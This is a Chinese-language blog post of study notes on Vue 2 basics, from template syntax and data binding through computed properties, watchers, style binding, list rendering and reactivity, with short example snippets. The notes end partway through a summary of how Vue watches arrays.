您当前的位置:首页 > 文章 > Vue笔记

Vue笔记

作者:人生如梦亦如幻唯心在 时间:2024-12-12 阅读数:147 人阅读

初识Vue: 

1.{{XXX}}中的XXX要写js表达式,且xxx可以自动读取到data中的所有属性;

2.data中的数据一旦发生改变,页面中用到了该数据的地方也自动更新。

注意区分:

js表达式:一个表达式会产生一个值,可以放在任何一个需要值的地方。

  (1):a

  (2):a+b

  (3):demo(1)

  (4):x===y?’a’:’b’

js代码(语句):

  (1).if()

  (2)for(){}

  1. <div id="demo">
  2. <h1>Hello,{{name.toUpperCase()}},{{address}}</h1>
  3. </div>
  4. Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
  5. //创建Vue实例
  6. new Vue({
  7. el:'#demo', //el用于指定当前Vue实例为哪个容器服务,值通常为css选择器字符串。
  8. data:{ //data中用于存储数据,数据供el所指定的容器去使用,值我们暂时先写成一个对象。
  9. name:'Hellow ',
  10. address:'world'
  11. })

Vue模板语法:

Vue模板语法有两大类:

1.插值语法:

     功能:用于解析标签体内容

     写法:{{XXX}},xxx是js表达式,且可以直接读取到data中的所有属性。

2.指令语法:

    功能:用于解析标签(包括:标签属性,标签体内容,绑定事件等等)

    举列:v-bind:href="xxx" 获简写为:href="xxx",xxx同样要写就是表达式,

            且可以直接读取到data中的所有属性。

    备注:Vue中有很多的指令,且形式都是:v-???,此处我们只是v-bind举个列子。

  1. <a v-bind:href="school.url.toUpperCase()" x="hello">点我去{{school.name}}学习1</a>
  2. <a :href="school.url" x="hello">点我去{{school.name}}学习2</a>

数据绑定:

Vue有两种数据绑定的方式:

      (1)单向绑定(v-band):数据只能从data流向页面。

      (2)双向绑定(v-model):数据不仅能从data流向页面,还可以从页面流向data。

备注:

       (1)双向绑定一般都应用在表单类元素上(如:input,select)

       (2)v-model:value可以简写为v-model,因为v-model默认收集的就是value值。

  1. <!-- 普通写法 -->
  2. <!-- 单向绑定 -->
  3. <input type="text" v-bind:value="name">
  4. <!-- 双向绑定 -->
  5. <input type="text" v-model:value="name">
  6. <!-- 简写 -->
  7. <!-- 单向绑定 -->
  8. <input type="text" :value="name">
  9. <!-- 双向绑定 -->
  10. <input type="text" v-model="name">
  11. <!-- 如下代码是错误的,因为v-model只能应用在表单类元素(输入类元素)上 -->
  12. <h2 v-model:x="name">你好啊</h2>

el与data的两种写法:

data与el的两种写法:

    1.el有两种写法:

                (1).new  Vue  时候配置el属性。

                (2).先创建Vue实列,随后在通过vm.$mount('#root')指定el的值

     2.data有2种写法

                (1).对象式

                (2).函数式 

     3.一个重要的原则:

           由Vue管理的函数,一定不要写箭头函数,一但写了箭头函数,this就不再是Vue实列了

  1. //el的两种写法
  2. const v=new Vue({
  3. //el:'#root',
  4. data:{
  5. name:'XXX'
  6. }
  7. })
  8. v.$mount('#root')
  9. //data的两种方式
  10. new Vue({
  11. el:'root',
  12. //data的第一种写法:对象式
  13. data:{
  14. name:'xxx'
  15. }
  16. //data的第二种写法:函数式
  17. data(){
  18. return{
  19. name:'XXX'
  20. }
  21. }
  22. })

MVVM模型:

1.M:模型(Model):data中的数据

2.V:视图(View):模板代码

3.VM:视图模型(ViewModel):Vue实列 

数据代理:

Object.defineproperty方法:

方法会直接在一个对象上定义一个新属性,或者修改一个对象的现有属性,并返回此对象。

  1. Object.defineProperty(obj, prop, desc)
  2. obj 需要定义属性的当前对象
  3. prop 当前需要定义的属性名
  4. desc 属性描述符
  1. let number = 18
  2. let person = {
  3. name:'张三',
  4. sex:'男',
  5. }
  6. Object.defineProperty(person,'age',{
  7. // value:18,
  8. // enumerable:true, //控制属性是否可以枚举,默认值是false
  9. // writable:true, //控制属性是否可以被修改,默认值是false
  10. // configurable:true //控制属性是否可以被删除,默认值是false
  11. //当有人读取person的age属性时,get函数(getter)就会被调用,且返回值就是age的值
  12. get(){
  13. console.log('有人读取age属性了')
  14. return number
  15. },
  16. //当有人修改person的age属性时,set函数(setter)就会被调用,且会收到修改的具体值
  17. set(value){
  18. console.log('有人修改了age属性,且值是',value)
  19. number = value
  20. }
  21. })
'
运行

 数据代理:

  1. //obj2代理了obj进行属性赋值
  2. let obj = {x:100}
  3. let obj2 = {y:200}
  4. Object.defineProperty(obj2,'x',{
  5. get(){
  6. return obj.x
  7. },
  8. set(value){
  9. obj.x = value
  10. }
  11. })
'
运行

Vue中的数据代理:

1.Vue中的数据代理:通过vm来代理data对象中属性的操作(读/写)

2.Vue中数据代理的好处:更加方便的操作data中的数据

3.基本原理:

通过Object.defineProperty()把data对象中所有属性添加到vm上。

为每一个添加到vm上的属性,都指定一个getter/setter。

在getter/setter内部去操作(读/写)data中对应的属性。

事件处理:

事件的基本使用:

1.使用v-on:xxx 或 @xxx 绑定事件,其中xxx是事件

2.事件的回调需要配置在methods对象中,最终会在vm上;

3.methods中配置的函数,不要用箭头函数!否则this就不是vm了。

4.methods中配置的函数,都是被Vue所管理的函数,this的指向是vm或组件实例。

5.@click="demo" 和@click="demo()"

  1. <button @click="showInfo1">点我提示信息1(不传参)</button>
  2. <button @click="showInfo2($event,66)">点我提示信息2(传参)</button>
  3. const vm = new Vue({
  4. el:'#root',
  5. data:{
  6. name:'xxx',
  7. },
  8. methods:{
  9. showInfo1(event){
  10. // console.log(event.target.innerText)
  11. // console.log(this) //此处的this是vm
  12. alert('同学你好!')
  13. },
  14. showInfo2(event,number){
  15. console.log(event,number)
  16. // console.log(event.target.innerText)
  17. // console.log(this) //此处的this是vm
  18. alert('同学你好!!')
  19. }
  20. }
  21. })

事件修饰符:

Vue中的事件修饰符:

 1.prevent:阻止默认事件(常用);

 2.stop:阻止事件冒泡(常用);

 3.once:事件只触发一次(常用)

 4.capture:使用事件的捕获模式;

 5.self:只有event.target是当前操作的元素时才触发事件;

 6.passive:事件的默认行为立即执行,无需等待事件回调执行完毕。

  1. <!-- 阻止默认事件(常用)本该跳转地址,现在被阻止了 -->
  2. <a href="http://www.atguigu.com" @click.prevent="showInfo">点我提示信息</a>
  3. <!-- 阻止事件冒泡(常用 当一个大盒子包着另一个小盒子,小盒子的事件不会影响大盒子 -->
  4. <div class="demo1" @click="showInfo">
  5. <button @click.stop="showInfo">点我提示信息</button>
  6. <!-- 修饰符可以连续写 -->
  7. <!-- <a href="http://www.atguigu.com" @click.prevent.stop="showInfo">点我提示信息</a> -->
  8. </div>
  9. <!-- 事件只触发一次(常用) -->
  10. <button @click.once="showInfo">点我提示信息</button>
  11. <!-- 使用事件的捕获模式 加有capture的首先执行-->
  12. <div class="box1" @click.capture="showMsg(1)">
  13. div1
  14. <div class="box2" @click="showMsg(2)">
  15. div2
  16. </div>
  17. </div>
  18. <!-- 只有event.target是当前操作的元素时才触发事件; -->
  19. <div class="demo1" @click.self="showInfo">
  20. <button @click="showInfo">点我提示信息</button>
  21. </div>
  22. <!-- 事件的默认行为立即执行,无需等待事件回调执行完毕; -->
  23. <ul @wheel.passive="demo" class="list">
  24. <li>1</li>
  25. <li>2</li>
  26. <li>3</li>
  27. <li>4</li>
  28. </ul>

键盘事件:

1.Vue中常用的按键别名:

      回车=》enter

     删除=》delete(捕获“删除”和“退格”键)

     退出=》esc

     空格=》space

    换行=》tab(特殊,必须配合keydown去使用)

    上=》up

    下=》down

    左=》left

   右=》right

2.Vue未提供别名的按键,可以使用按键原始的key值去绑定,但注意要转为kebab-case(短横线命名)

3.系统修饰键(用法特殊):ctrl,alt,shift,meta

            (1).配合keyup使用:按下修饰键的同时,在按下其他键,随后释放其他键,事件才被触发.

            (2).配合keydown使用:正常触发事件。

4.也可以使用keyCode去指定具体的按键(不推荐)

5.Vue.config.keyCodes.自定义键名=键码,可以去定制按键别名

  1. Vue中的键盘事件keyup表示键盘按键抬起事件,keydown表示键盘按下事件;
  2. <div id="root">
  3. <h2>欢迎来到{{name}}学习</h2>
  4. <input type="text" placeholder="按下回车提示输入" @keydown.huiche="showInfo">
  5. <-- 组合按键 -->
  6. <input type="text" placeholder="按下回车提示输入" @keyup.alt.up="showInfo">
  7. </div>
  8. Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
  9. Vue.config.keyCodes.huiche = 13 //定义了一个别名按键
  10. new Vue({
  11. el:'#root',
  12. data:{
  13. name:'尚硅谷'
  14. },
  15. methods: {
  16. showInfo(e){
  17. // console.log(e.key,e.keyCode)
  18. console.log(e.target.value)
  19. }
  20. },
  21. })

计算属性

姓名案例_插值语法实现:

  1. <!-- 准备好一个容器-->
  2. <div id="root">
  3. 姓:<input type="text" v-model="firstName"> <br/><br/>
  4. 名:<input type="text" v-model="lastName"> <br/><br/>
  5. 全名:<span>{{firstName}}-{{lastName}}</span>
  6. </div>
  7. Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
  8. new Vue({
  9. el:'#root',
  10. data:{
  11. firstName:'张',
  12. lastName:'三'
  13. }
  14. })

姓名案例_methods实现:

  1. <div id="root">
  2. 姓:<input type="text" v-model="firstName"> <br/><br/>
  3. 名:<input type="text" v-model="lastName"> <br/><br/>
  4. 全名:<span>{{fullName()}}</span>
  5. </div>
  6. Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
  7. new Vue({
  8. el:'#root',
  9. data:{
  10. firstName:'张',
  11. lastName:'三'
  12. },
  13. methods: {
  14. fullName(){
  15. console.log('@---fullName')
  16. return this.firstName + '-' + this.lastName
  17. }
  18. },
  19. })

姓名案例_计算属性实现:

计算属性:

 1.定义:要用的属性不存在,要通过已有属性计算得来。

 2.原理:底层借助了Object.defineproperty方法提供的getter和setter

 3.get函数什么时候执行?

      (1)初次读取时会执行一次

      (2)当依赖的数据发生改变时会被再次调用

4.优势:与methods实现相比,内存有缓存机制(复用),效率更高,调试方便。

5.备注:

          1.计算属性最终会出现在vm上,直接读取使用即可。

           2.如果计算属性要被修改,那必须写set函数去响应修改,且set中要引起计算时依赖的数据发生改变。

  1. <div id="root">
  2. 姓:<input type="text" v-model="firstName"> <br/><br/>
  3. 名:<input type="text" v-model="lastName"> <br/><br/>
  4. 测试:<input type="text" v-model="x"> <br/><br/>
  5. 全名:<span>{{fullName}}</span> <br/><br/>
  6. </div>
  7. Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
  8. const vm = new Vue({
  9. el:'#root',
  10. data:{
  11. firstName:'张',
  12. lastName:'三',
  13. x:'你好'
  14. },
  15. methods: {
  16. demo(){
  17. }
  18. },
  19. computed:{
  20. fullName:{
  21. //get有什么作用?当有人读取fullName时,get就会被调用,且返回值就作为fullName的值
  22. //get什么时候调用?1.初次读取fullName时。2.所依赖的数据发生变化时。
  23. get(){
  24. console.log('get被调用了')
  25. // console.log(this) //此处的this是vm
  26. return this.firstName + '-' + this.lastName
  27. },
  28. //set什么时候调用? 当fullName被修改时。
  29. set(value){
  30. console.log('set',value)
  31. const arr = value.split('-')
  32. this.firstName = arr[0]
  33. this.lastName = arr[1]
  34. }
  35. }
  36. }
  37. })

姓名案例_计算属性实现(简写)

  1. <!-- 准备好一个容器-->
  2. <div id="root">
  3. 姓:<input type="text" v-model="firstName"> <br/><br/>
  4. 名:<input type="text" v-model="lastName"> <br/><br/>
  5. 全名:<span>{{fullName}}</span> <br/><br/>
  6. </div>
  7. Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
  8. const vm = new Vue({
  9. el:'#root',
  10. data:{
  11. firstName:'张',
  12. lastName:'三',
  13. },
  14. computed:{
  15. //简写
  16. fullName(){
  17. console.log('get被调用了')
  18. return this.firstName + '-' + this.lastName
  19. }
  20. }
  21. })

监视属性:

天气案例:

  1. <div id="root">
  2. <h2>今天天气很{{info}}</h2>
  3. <button @click="changeWeather">切换天气</button>
  4. </div>
  5. Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
  6. const vm = new Vue({
  7. el:'#root',
  8. data:{
  9. isHot:true,
  10. },
  11. computed:{
  12. info(){
  13. return this.isHot ? '炎热' : '凉爽'
  14. }
  15. },
  16. methods: {
  17. changeWeather(){
  18. this.isHot = !this.isHot
  19. }
  20. },
  21. })

天气案例_监视属性:

监视属性watch:

1.当被监视的属性变化时,回调函数自动调用,进行相关操作。

2.监视属性必须存在,才能进行监视!

3.监视的两种写法:

  (1).new  Vue时传入watch配置

  (2)通过vm.$watch监视

   

  1. <div id="root">
  2. <h2>今天天气很{{info}}</h2>
  3. <button @click="changeWeather">切换天气</button>
  4. </div>
  5. const vm = new Vue({
  6. el:'#root',
  7. data:{
  8. isHot:true,
  9. },
  10. computed:{
  11. info(){
  12. return this.isHot ? '炎热' : '凉爽'
  13. }
  14. },
  15. methods: {
  16. changeWeather(){
  17. this.isHot = !this.isHot
  18. }
  19. },
  20. /* watch:{
  21. isHot:{
  22. immediate:true, //初始化时让handler调用一下
  23. //handler什么时候调用?当isHot发生改变时。
  24. handler(newValue,oldValue){
  25. console.log('isHot被修改了',newValue,oldValue)
  26. }
  27. }
  28. } */
  29. })
  30. vm.$watch('isHot',{
  31. immediate:true, //初始化时让handler调用一下
  32. //handler什么时候调用?当isHot发生改变时。
  33. handler(newValue,oldValue){
  34. console.log('isHot被修改了',newValue,oldValue)
  35. }
  36. })

天气案例_深度监视:

深度监视:

  (1):Vue中的watch默认不检测对象内部值的改变(一层)。

  (2):配置deep:true可以检测对象内部值改变(多层)。

备注:

  (1).Vue自身可以监测对象内部值的改变,但Vue提供的watch默认不可以!

  (2).使用watch时根据数据的具体结构,决定是否采用深度监视

  1. <div id="root">
  2. <h2>今天天气很{{info}}</h2>
  3. <button @click="changeWeather">切换天气</button>
  4. <hr/>
  5. <h3>a的值是:{{numbers.a}}</h3>
  6. <button @click="numbers.a++">点我让a+1</button>
  7. <h3>b的值是:{{numbers.b}}</h3>
  8. <button @click="numbers.b++">点我让b+1</button>
  9. <button @click="numbers = {a:666,b:888}">彻底替换掉numbers</button>
  10. {{numbers.c.d.e}}
  11. </div>
  12. const vm = new Vue({
  13. el:'#root',
  14. data:{
  15. isHot:true,
  16. numbers:{
  17. a:1,
  18. b:1,
  19. c:{
  20. d:{
  21. e:100
  22. }
  23. }
  24. }
  25. },
  26. computed:{
  27. info(){
  28. return this.isHot ? '炎热' : '凉爽'
  29. }
  30. },
  31. methods: {
  32. changeWeather(){
  33. this.isHot = !this.isHot
  34. }
  35. },
  36. watch:{
  37. isHot:{
  38. // immediate:true, //初始化时让handler调用一下
  39. //handler什么时候调用?当isHot发生改变时。
  40. handler(newValue,oldValue){
  41. console.log('isHot被修改了',newValue,oldValue)
  42. }
  43. },
  44. //监视多级结构中某个属性的变化
  45. /* 'numbers.a':{
  46. handler(){
  47. console.log('a被改变了')
  48. }
  49. } */
  50. //监视多级结构中所有属性的变化
  51. numbers:{
  52. deep:true,
  53. handler(){
  54. console.log('numbers改变了')
  55. }
  56. }
  57. }
  58. })

天气案例_监视属性_简写:

  1. <div id="root">
  2. <h2>今天天气很{{info}}</h2>
  3. <button @click="changeWeather">切换天气</button>
  4. </div>
  5. const vm = new Vue({
  6. el:'#root',
  7. data:{
  8. isHot:true,
  9. },
  10. computed:{
  11. info(){
  12. return this.isHot ? '炎热' : '凉爽'
  13. }
  14. },
  15. methods: {
  16. changeWeather(){
  17. this.isHot = !this.isHot
  18. }
  19. },
  20. watch:{
  21. //正常写法
  22. /* isHot:{
  23. // immediate:true, //初始化时让handler调用一下
  24. // deep:true,//深度监视
  25. handler(newValue,oldValue){
  26. console.log('isHot被修改了',newValue,oldValue)
  27. }
  28. }, */
  29. //简写
  30. /* isHot(newValue,oldValue){
  31. console.log('isHot被修改了',newValue,oldValue,this)
  32. } */
  33. }
  34. })
  35. //正常写法
  36. /* vm.$watch('isHot',{
  37. immediate:true, //初始化时让handler调用一下
  38. deep:true,//深度监视
  39. handler(newValue,oldValue){
  40. console.log('isHot被修改了',newValue,oldValue)
  41. }
  42. }) */
  43. //简写
  44. /* vm.$watch('isHot',(newValue,oldValue)=>{
  45. console.log('isHot被修改了',newValue,oldValue,this)
  46. }) */

姓名案例_watch实现:

computed和watch之间的区别:

   1.computed能完成的功能,watch都可以完成。

   2.watch能完成的功能,computed不一定能完成,例如:watch可以进行异步操作。

两个重要的小原则:

   1.所被Vue管理的函数,最好写成普通函数,这样this的指向才是vm或组件实例对象。

   2.所有不被Vue所管理的函数(定时器的回调函数,ajax的回调函数,Promise的回调函数)

      这样this的指向才是vm或组件实例对象。

  1. <div id="root">
  2. 姓:<input type="text" v-model="firstName"> <br/><br/>
  3. 名:<input type="text" v-model="lastName"> <br/><br/>
  4. 全名:<span>{{fullName}}</span> <br/><br/>
  5. </div>
  6. const vm = new Vue({
  7. el:'#root',
  8. data:{
  9. firstName:'张',
  10. lastName:'三',
  11. fullName:'张-三'
  12. },
  13. watch:{
  14. firstName(val){
  15. setTimeout(()=>{
  16. console.log(this)
  17. this.fullName = val + '-' + this.lastName
  18. },1000);
  19. },
  20. lastName(val){
  21. this.fullName = this.firstName + '-' + val
  22. }
  23. }
  24. })

绑定样式:

1.class样式:

   写法:class="xxx"   xxx可以是字符串,对象,数组

             字符串写法适用于:类名不确定,要动态获取。

             对象写法适用于:要绑定多个样式,个数不能确定,名字也不确定

             数组写法适用于:要绑定多个样式,个数确定,名字也确定,但不确定用不用。

2.style样式

      :style="{fontSize: xxx}"其中xxx是动态值。

      :style="[a,b]" 其中a,b是样式对象

   

  1. .basic{
  2. width: 400px;
  3. height: 100px;
  4. border: 1px solid black;
  5. }
  6. .happy{
  7. border: 4px solid red;;
  8. background-color: rgba(255, 255, 0, 0.644);
  9. background: linear-gradient(30deg,yellow,pink,orange,yellow);
  10. }
  11. .sad{
  12. border: 4px dashed rgb(2, 197, 2);
  13. background-color: gray;
  14. }
  15. .normal{
  16. background-color: skyblue;
  17. }
  18. .atguigu1{
  19. background-color: yellowgreen;
  20. }
  21. .atguigu2{
  22. font-size: 30px;
  23. text-shadow:2px 2px 10px red;
  24. }
  25. .atguigu3{
  26. border-radius: 20px;
  27. }
  28. <div id="root">
  29. <!-- 绑定class样式--字符串写法,适用于:样式的类名不确定,需要动态指定 -->
  30. <div class="basic" :class="mood" @click="changeMood">{{name}}</div> <br/><br/>
  31. <!-- 绑定class样式--数组写法,适用于:要绑定的样式个数不确定、名字也不确定 -->
  32. <div class="basic" :class="classArr">{{name}}</div> <br/><br/>
  33. <!-- 绑定class样式--对象写法,适用于:要绑定的样式个数确定、名字也确定,但要动态决定用不用 -->
  34. <div class="basic" :class="classObj">{{name}}</div> <br/><br/>
  35. <!-- 绑定style样式--对象写法 -->
  36. <div class="basic" :style="styleObj">{{name}}</div> <br/><br/>
  37. <!-- 绑定style样式--数组写法 -->
  38. <div class="basic" :style="styleArr">{{name}}</div>
  39. </div>
  40. const vm = new Vue({
  41. el:'#root',
  42. data:{
  43. name:'尚硅谷',
  44. mood:'normal',
  45. classArr:['atguigu1','atguigu2','atguigu3'],
  46. classObj:{
  47. atguigu1:false,
  48. atguigu2:false,
  49. },
  50. styleObj:{
  51. ontSize: '40px',
  52. color:'red',
  53. },
  54. styleObj2:{
  55. backgroundColor:'orange'
  56. },
  57. styleArr:[
  58. {
  59. fontSize: '40px',
  60. color:'blue',
  61. },
  62. {
  63. backgroundColor:'gray'
  64. }
  65. ]
  66. },
  67. methods: {
  68. changeMood(){
  69. const arr = ['happy','sad','normal']
  70. const index = Math.floor(Math.random()*3)
  71. this.mood = arr[index]
  72. }
  73. },
  74. })

条件渲染

1.v-if

     写法:

          (1).v-if="表达式"

          (2).v-else-if="表达式"

          (3).v-else="表达式"

      适用于:切换频率较低的场景。

      特点:不展示的DOM元素直接被移除

      注意:v-if可以和:v-else-if,v-else一起使用,但要求结构不能被打断。

2.v-show

     写法:v-show="表达式"

     适用于:切换频率较高的场景  

     特点:不展示的DOM元素未被移除,仅仅是使用样式隐藏掉

3.备注:使用v-if的时,元素可能无法获取到,而使用v-show一定可以获取到。

  1. <div id="root">
  2. <h2>当前的n值是:{{n}}</h2>
  3. <button @click="n++">点我n+1</button>
  4. <!-- 使用v-show做条件渲染 -->
  5. <!-- <h2 v-show="false">欢迎来到{{name}}</h2> -->
  6. <!-- <h2 v-show="1 === 1">欢迎来到{{name}}</h2> -->
  7. <!-- 使用v-if做条件渲染 -->
  8. <!-- <h2 v-if="false">欢迎来到{{name}}</h2> -->
  9. <!-- <h2 v-if="1 === 1">欢迎来到{{name}}</h2> -->
  10. <!-- v-else和v-else-if -->
  11. <!-- <div v-if="n === 1">Angular</div>
  12. <div v-else-if="n === 2">React</div>
  13. <div v-else-if="n === 3">Vue</div>
  14. <div v-else>哈哈</div> -->
  15. <!-- v-if与template的配合使用 -->
  16. <template v-if="n === 1">
  17. <h2>你好</h2>
  18. <h2>尚硅谷</h2>
  19. <h2>北京</h2>
  20. </template>
  21. </div>
  22. const vm = new Vue({
  23. el:'#root',
  24. data:{
  25. name:'尚硅谷',
  26. n:0
  27. }
  28. })

列表渲染

基本列表

v-for指令:

     1.用于展示列表数据

     2.语法:v-for=" (item,index)  in  xxx"   :key="yyy"

     3.可遍历:数组,对象,字符串(用的很少),指定次数(用的很少)

  1. <div id="root">
  2. <!-- 遍历数组 -->
  3. <h2>人员列表(遍历数组)</h2>
  4. <ul>
  5. <li v-for="(p,index) of persons" :key="index">
  6. {{p.name}}-{{p.age}}
  7. </li>
  8. </ul>
  9. <!-- 遍历对象 -->
  10. <h2>汽车信息(遍历对象)</h2>
  11. <ul>
  12. <li v-for="(value,k) of car" :key="k">
  13. {{k}}-{{value}}
  14. </li>
  15. </ul>
  16. <!-- 遍历字符串 -->
  17. <h2>测试遍历字符串(用得少)</h2>
  18. <ul>
  19. <li v-for="(char,index) of str" :key="index">
  20. {{char}}-{{index}}
  21. </li>
  22. </ul>
  23. <!-- 遍历指定次数 -->
  24. <h2>测试遍历指定次数(用得少)</h2>
  25. <ul>
  26. <li v-for="(number,index) of 5" :key="index">
  27. {{index}}-{{number}}
  28. </li>
  29. </ul>
  30. </div>
  31. new Vue({
  32. el:'#root',
  33. data:{
  34. persons:[
  35. {id:'001',name:'张三',age:18},
  36. {id:'002',name:'李四',age:19},
  37. {id:'003',name:'王五',age:20}
  38. ],
  39. car:{
  40. name:'奥迪A8',
  41. price:'70万',
  42. color:'黑色'
  43. },
  44. str:'hello'
  45. }
  46. })

key的原理

面试题:react,vue中的key有什么作用?(key的内部原理)

1.虚拟DOM中的key的作用:

      key是虚拟DOM对象的标识,当数据发生变幻时,Vue会根据【新数据】生成【新的虚拟DOM】,随后Vue进行【新虚拟DOM】与【旧虚拟DOM】的差异性比较,比较规则如下:

2.对比规则:

       (1).旧虚拟DOM中找到了与新虚拟DOM相同的key:

                   1.若虚拟DOM中内容没变,直接使用之前的真实DOM!

                   2.若虚拟DOM中内容变了,则生成新的真实DOM,覆盖掉之前的DOM。

     (2).旧虚拟DOM中未找到与新虚拟DOM相同的key:

                     创建新的虚拟DOM,并渲染到页面。

3.用数组的索引(index)来代替key所带来的影响:

       (1).若对数据进行逆序添加,逆序删除等破坏顺序操作:

                        会产生无意义的DOM更新,对界面无啥影响,但效率低下。

         (2).若变化的结构中包含输入DOM会产生错误的虚拟DOM更新,界面会存在问题。

4.开发中如何选择key:

         (1).首先要选择唯一标识作为key,比如电话号码,身份证号码等等。

         (2)  若不对数据进行逆序添加和逆序删除,只是进行简简单单的展示,可以使用数组下标索                    引(index)

列表过滤

  1. <div id="root">
  2. <h2>人员列表</h2>
  3. <input type="text" placeholder="请输入名字" v-model="keyWord">
  4. <ul>
  5. <li v-for="(p,index) of filPerons" :key="index">
  6. {{p.name}}-{{p.age}}-{{p.sex}}
  7. </li>
  8. </ul>
  9. </div>
  10. //用watch实现
  11. //#region
  12. /* new Vue({
  13. el:'#root',
  14. data:{
  15. keyWord:'',
  16. persons:[
  17. {id:'001',name:'马冬梅',age:19,sex:'女'},
  18. {id:'002',name:'周冬雨',age:20,sex:'女'},
  19. {id:'003',name:'周杰伦',age:21,sex:'男'},
  20. {id:'004',name:'温兆伦',age:22,sex:'男'}
  21. ],
  22. filPerons:[]
  23. },
  24. watch:{
  25. keyWord:{
  26. immediate:true,
  27. handler(val){
  28. this.filPerons = this.persons.filter((p)=>{
  29. return p.name.indexOf(val) !== -1
  30. })
  31. }
  32. }
  33. }
  34. }) */
  35. //#endregion
  36. //用computed实现
  37. new Vue({
  38. el:'#root',
  39. data:{
  40. keyWord:'',
  41. persons:[
  42. {id:'001',name:'马冬梅',age:19,sex:'女'},
  43. {id:'002',name:'周冬雨',age:20,sex:'女'},
  44. {id:'003',name:'周杰伦',age:21,sex:'男'},
  45. {id:'004',name:'温兆伦',age:22,sex:'男'}
  46. ]
  47. },
  48. computed:{
  49. filPerons(){
  50. return this.persons.filter((p)=>{
  51. return p.name.indexOf(this.keyWord) !== -1
  52. })
  53. }
  54. }
  55. })

 列表过滤

  1. <div id="root">
  2. <h2>人员列表</h2>
  3. <input type="text" placeholder="请输入名字" v-model="keyWord">
  4. <button @click="sortType = 2">年龄升序</button>
  5. <button @click="sortType = 1">年龄降序</button>
  6. <button @click="sortType = 0">原顺序</button>
  7. <ul>
  8. <li v-for="(p,index) of filPerons" :key="p.id">
  9. {{p.name}}-{{p.age}}-{{p.sex}}
  10. <input type="text">
  11. </li>
  12. </ul>
  13. </div>
  14. new Vue({
  15. el:'#root',
  16. data:{
  17. keyWord:'',
  18. sortType:0, //0原顺序 1降序 2升序
  19. persons:[
  20. {id:'001',name:'马冬梅',age:30,sex:'女'},
  21. {id:'002',name:'周冬雨',age:31,sex:'女'},
  22. {id:'003',name:'周杰伦',age:18,sex:'男'},
  23. {id:'004',name:'温兆伦',age:19,sex:'男'}
  24. ]
  25. },
  26. computed:{
  27. filPerons(){
  28. const arr = this.persons.filter((p)=>{
  29. return p.name.indexOf(this.keyWord) !== -1
  30. })
  31. //判断一下是否需要排序
  32. if(this.sortType){
  33. arr.sort((p1,p2)=>{
  34. console.log(p1,p2)
  35. return this.sortType === 1 ? p2.age-p1.age : p1.age-p2.age
  36. })
  37. }
  38. return arr
  39. }
  40. }
  41. })

 更新时的一个问题

  1. <div id="root">
  2. <h2>人员列表</h2>
  3. <button @click="updateMei">更新马冬梅的信息</button>
  4. <ul>
  5. <li v-for="(p,index) of persons" :key="p.id">
  6. {{p.name}}-{{p.age}}-{{p.sex}}
  7. </li>
  8. </ul>
  9. </div>
  10. const vm = new Vue({
  11. el:'#root',
  12. data:{
  13. persons:[
  14. {id:'001',name:'马冬梅',age:30,sex:'女'},
  15. {id:'002',name:'周冬雨',age:31,sex:'女'},
  16. {id:'003',name:'周杰伦',age:18,sex:'男'},
  17. {id:'004',name:'温兆伦',age:19,sex:'男'}
  18. ]
  19. },
  20. methods: {
  21. updateMei(){
  22. // this.persons[0].name = '马老师' //奏效
  23. // this.persons[0].age = 50 //奏效
  24. // this.persons[0].sex = '男' //奏效
  25. // this.persons[0] = {id:'001',name:'马老师',age:50,sex:'男'} //不奏效
  26. this.persons.splice(0,1,{id:'001',name:'马老师',age:50,sex:'男'})
  27. }
  28. }
  29. })

Vue监测数据改变的原理

  1. <div id="root">
  2. <h2>学校名称:{{name}}</h2>
  3. <h2>学校地址:{{address}}</h2>
  4. </div>
  5. const vm = new Vue({
  6. el:'#root',
  7. data:{
  8. name:'尚硅谷',
  9. address:'北京',
  10. student:{
  11. name:'tom',
  12. age:{
  13. rAge:40,
  14. sAge:29,
  15. },
  16. friends:[
  17. {name:'jerry',age:35}
  18. ]
  19. }
  20. }
  21. })

模拟一个数据检测

  1. let data = {
  2. name:'尚硅谷',
  3. address:'北京',
  4. }
  5. //创建一个监视的实例对象,用于监视data中属性的变化
  6. const obs = new Observer(data)
  7. console.log(obs)
  8. //准备一个vm实例对象
  9. let vm = {}
  10. vm._data = data = obs
  11. function Observer(obj){
  12. //汇总对象中所有的属性形成一个数组
  13. const keys = Object.keys(obj)
  14. //遍历
  15. keys.forEach((k)=>{
  16. Object.defineProperty(this,k,{
  17. get(){
  18. return obj[k]
  19. },
  20. set(val){
  21. console.log(`${k}被改了,我要去解析模板,生成虚拟DOM.....我要开始忙了`)
  22. obj[k] = val
  23. }
  24. })
  25. })
  26. }
'
运行

Vue.set的使用

  1. <div id="root">
  2. <h1>学校信息</h1>
  3. <h2>学校名称:{{school.name}}</h2>
  4. <h2>学校地址:{{school.address}}</h2>
  5. <h2>校长是:{{school.leader}}</h2>
  6. <hr/>
  7. <h1>学生信息</h1>
  8. <button @click="addSex">添加一个性别属性,默认值是男</button>
  9. <h2>姓名:{{student.name}}</h2>
  10. <h2 v-if="student.sex">性别:{{student.sex}}</h2>
  11. <h2>年龄:真实{{student.age.rAge}},对外{{student.age.sAge}}</h2>
  12. <h2>朋友们</h2>
  13. <ul>
  14. <li v-for="(f,index) in student.friends" :key="index">
  15. {{f.name}}--{{f.age}}
  16. </li>
  17. </ul>
  18. </div>
  19. const vm = new Vue({
  20. el:'#root',
  21. data:{
  22. school:{
  23. name:'尚硅谷',
  24. address:'北京',
  25. },
  26. student:{
  27. name:'tom',
  28. age:{
  29. rAge:40,
  30. sAge:29,
  31. },
  32. friends:[
  33. {name:'jerry',age:35},
  34. {name:'tony',age:36}
  35. ]
  36. }
  37. },
  38. methods: {
  39. addSex(){
  40. // Vue.set(this.student,'sex','男')
  41. this.$set(this.student,'sex','男')
  42. }
  43. }
  44. })

总结数据监视

Vue监视数据的原理:

1.Vue会监视data中所有层次的数据。

2.如何监测对象中的数据?

     通过setter实现监视,且要在new Vue时就传入要检测的数据。

          (1).对象中后追加的属性,Vue默认不做响应式处理。

           (2).如需给后添加的属性做响应式,请使用如下API:

                    Vue.set(target,propertyName/index,value)

                    vm.$set(target,propertyName/index,value)

3.如何监测数组中的数据?

    通过包裹数组更新元素的方法实现,本质就是做了两件事:

     (1).调用原生对应的方法对数组进行更新

